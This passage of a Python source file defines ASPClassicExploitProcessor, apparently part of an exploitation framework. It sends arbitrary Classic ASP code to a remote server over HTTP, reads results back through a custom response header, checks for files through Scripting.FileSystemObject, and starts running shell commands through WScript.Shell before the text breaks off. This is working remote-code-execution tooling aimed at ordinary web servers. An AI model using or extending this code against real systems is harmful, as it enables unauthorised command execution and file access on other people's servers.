Class ASPClassicExploitProcessor

src/ASPClassicExploitProcessor.py:13–377

        Inherits from the ExploitProcessor class. 
"""
class ASPClassicExploitProcessor(ExploitProcessor):
    def __init__(self, host: str, path: str, method: str, header: str):
        super().__init__(host, path, method, header)

    """
    @brief See base class for details.
    """
    def get_name():
        return "ClassicASP"
        
    """
    @brief Run commands to be interpreted as Python.
    @param command the command to be ran as a string
    @return any output received from the HTTP header.
    @throw CommandException if there is a connection error.
    """
    def __eval(self, command: str):
        res = self._Base__send_message(
            f"{command}"
        )
        return res
    
    """
    @brief Check if a file exists on the server.
    @param name the filename to be checked.
    @return a bool indicating whether or not the file exists.
    @throw CommandException if there is a connection error.
    """
    def __file_exists(self, file: str):
        filePath = self.directory + "\\" + file.replace("/", "\\")
        res = self.__eval(
            "Set fileSys = "
                "Server.CreateObject(\"Scripting.FileSystemObject\"):"
            f"If fileSys.FileExists(\"{filePath}\") Then:"
                f"Response.AddHeader \"{self.header}\", \"1\":"
            "Else:"
                f"Response.AddHeader \"{self.header}\", \"0\":"
            "End If:"
        )
        return res == '1'
    
    """
    @brief Run a command in a new XP shell opened server side, automatically
        changes directory to current working directory.
    @param command the command to be ran.
    @return stdout of the command.
    """
    def __run(self, options: str):
        options = (options  # escape
                   .replace("\"", "\"\"")  # double quotes
                   .replace("\n", "\" & vbCrLf & \"")  # new lines
        )
        res = self.__eval(  # The options is not base64 encoded, so some things
                            # like carriage return won't be escaped, and this
                            # could cause transmission errors.
            "Set objShell = Server.CreateObject(\"WScript.Shell\"):"
            "Set fileSys = "
                "Server.CreateObject(\"Scripting.FileSystemObject\"):"